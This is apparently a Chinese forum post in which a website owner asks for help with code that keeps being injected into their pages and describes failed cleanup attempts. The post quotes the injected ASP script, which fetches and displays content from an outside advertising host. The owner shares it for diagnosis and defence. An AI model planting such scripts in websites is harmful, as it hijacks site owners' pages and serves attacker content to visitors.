近段时间网站网页老是被挂如下代码，据说是小偷程序，不知道他是怎么入侵的，我查了一些是一个私服网站挂的广告。我修改了网站登录路径，以及密码，每次清理完后，不几天，他就又给挂上了，不厌其扰，却有不知该如何解决和防御，也许是网站服务器被入侵，这样的话，即使我的网站没问题，也无能为力。并且，我对这些代码使用“批量删除”，却往往导致网站数据库故障，网站不能正常访问，却也不知道该用什么工具进行批量删除，才不会有如此麻烦。谢谢！
小偷程序代码如下：
<%
On Error Resume Next 
Server.ScriptTimeOut=9999999 
response.write(getHTTPPage("http://cnwebers.com"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then 
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear 
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>